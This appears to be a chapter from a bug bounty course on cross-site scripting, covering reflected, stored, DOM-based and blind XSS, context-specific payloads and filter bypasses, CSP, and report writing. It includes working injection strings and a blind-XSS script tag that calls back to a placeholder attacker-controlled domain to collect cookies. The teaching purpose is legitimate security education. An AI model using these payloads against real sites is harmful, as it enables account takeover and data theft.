XSS happens when an app takes user input and puts it into a page without properly escaping it, letting your input run as actual JavaScript in someone else's browser. The browser can't tell the difference between "code the developer wrote" and "code an attacker injected" — it just executes whatever's in the page.
The skill you're really building this chapter isn't "memorize five payloads." It's reading where your input lands and shaping a payload that breaks out of that exact spot. That's the difference between clearing DVWA-low and finding XSS on a real target with filters in the way.
Your input comes back in the response immediately, unescaped.
Request: GET /search?q=<script>alert(1)</script>
Response: <p>Results for: <script>alert(1)</script></p>
The payload only affects you — unless you trick someone else into clicking a crafted link containing it.
Your input gets saved (a comment, a profile bio, a review) and served to other users later, unescaped.
You post a comment: <script>alert(1)</script>
Every visitor who views that comment runs your script. This is more dangerous — no need to trick anyone into clicking a link. Just post it and wait.
The vulnerability is entirely in client-side JavaScript. The server never sees the malicious payload; it happens when JS on the page takes something from the URL (or elsewhere) and unsafely inserts it into the page.
// Vulnerable code on the page itself:
document.write("Welcome " + location.hash.substring(1));
// Attacker URL: page.html#<script>alert(1)</script>
Programs usually rate these in roughly the order above for severity — Stored generally outranks Reflected (no user interaction needed), and DOM-based sits between the two depending on whether the sink is reachable without auth. But there's a fourth flavor worth knowing for hunting specifically:
Blind XSS — a stored payload that fires somewhere you can't see: an admin dashboard, a support-ticket viewer, a logging tool. You never see alert(1) pop because you're not the one viewing it. More on this further down.
Before picking a payload, figure out exactly where your input lands in the page source. The same vulnerable parameter needs a completely different payload shape depending on context — this is the actual skill, and it's what separates "I tried five payloads and gave up" from "I found the bug."
| Context | What the raw source looks like | Payload shape that works |
|---|---|---|
| HTML body | <p>Hello [INPUT]</p> |
Inject a new tag directly: <script>alert(1)</script> or <img src=x onerror=alert(1)> |
| HTML attribute | <input value="[INPUT]"> |
Break out of the quote first: "><script>alert(1)</script> or stay inside the tag with an event handler: " onfocus=alert(1) autofocus=" |
| JavaScript string | var name = "[INPUT]"; |
Close the string and inject a statement: ";alert(1);// or '-alert(1)-' |
| URL / href context | <a href="[INPUT]">link</a> |
Use the javascript: pseudo-protocol: javascript:alert(1) |
Always start by viewing page source or inspecting the response in Burp/DevTools (Chapter 2 skills) to see exactly which of these four you're dealing with — guessing wastes far more time than five seconds of looking.
A working XSS isn't just a popup box. Once you can run JavaScript in someone's browser, you can:
document.cookie) — if it's missing HttpOnly, as you learned in Chapter 3.alert(1) is just proof it works. The real exploit is what comes after.
<script>alert(1)</script><img src=x onerror=alert(1)><svg onload=alert(1)>"><script>alert(1)</script>javascript:alert(1)Why multiple payloads? Different contexts and filters block different things. If <script> tags get stripped, try event-handler-based payloads like onerror or onload. If quotes get escaped, try a context that doesn't need them. If a filter is case-sensitive, <ScRiPt> sometimes slips through. This is filter-bypass thinking, not just a list to spray.
On real targets, your payload can be syntactically correct and still not fire — almost always because of a Content Security Policy (CSP). CSP is a response header (Content-Security-Policy: ...) that tells the browser which sources of script it's allowed to execute, even if attacker HTML makes it into the page. Check for this header in every response before assuming your filter-bypass attempts have failed. A strict CSP without inline-script allowances can make textbook XSS payloads completely inert — at which point the bug may still be real (and reportable as a CSP gap or partial bypass) but won't behave like the simulator below.
Any place your input gets reflected back or displayed to others:
Most XSS labs assume you can immediately see the result of your payload. Real bug bounty hunting often doesn't work that way. Blind XSS is stored XSS where the payload executes in a context you have no visibility into — a customer support agent's ticket viewer, an internal admin panel reviewing flagged content, a fraud-review dashboard, an analytics back-office tool.
You submit the payload into a feedback form, a username, a support ticket subject line — anywhere that's plausibly reviewed by staff later — and you never see a popup, because there's nothing to see from your side. To actually detect it, hunters use an out-of-band (OOB) callback payload instead of alert(1): a small script that, when it executes, fires an HTTP request back to a server you control. Tools built for this (Burp Collaborator and dedicated blind-XSS callback services are the common ones) give you a unique URL and a dashboard to watch for hits.
A typical blind payload looks like:
<script src="https://your-unique-id.your-callback-domain.com"></script>
If that script ever executes — even days later, even on a machine you'll never see — you get a callback with details like the page URL, cookies, and user agent of whoever (or whatever system) rendered it. This is one of the highest-value techniques in real hunting because almost nobody bothers to test admin-facing surfaces this way, and admin-panel XSS is consistently rated as critical.
Test your payload strings against three distinct context environments to observe how modern runtimes interpret layout code injection. Use the quick-pick chips if you want to try a known bypass shape fast.
Switch tabs and notice the input box auto-fills a different default payload for each context. That's the lesson: there's no single universal XSS string. Toggle the CSP checkbox and re-trigger a payload — notice execution gets blocked even though the markup injection still technically "worked." That gap between injection and execution is exactly what real-world CSP-protected targets feel like.
A triager reading your report decides "valid" or "needs more info" in about thirty seconds. The reports that move fast usually include:
We'll build a full report template in Chapter 14 — for now, just get in the habit of noting these details the moment you find something, before you move on to the next target.
Can you explain the difference between reflected, stored, DOM-based, and blind XSS in your own words?
Do you understand why alert(1) is just a proof — what's the real-world impact?
Can you explain why missing HttpOnly + working XSS = account takeover?
Given <a href="[INPUT]">, why won't <script>alert(1)</script> work, and what would?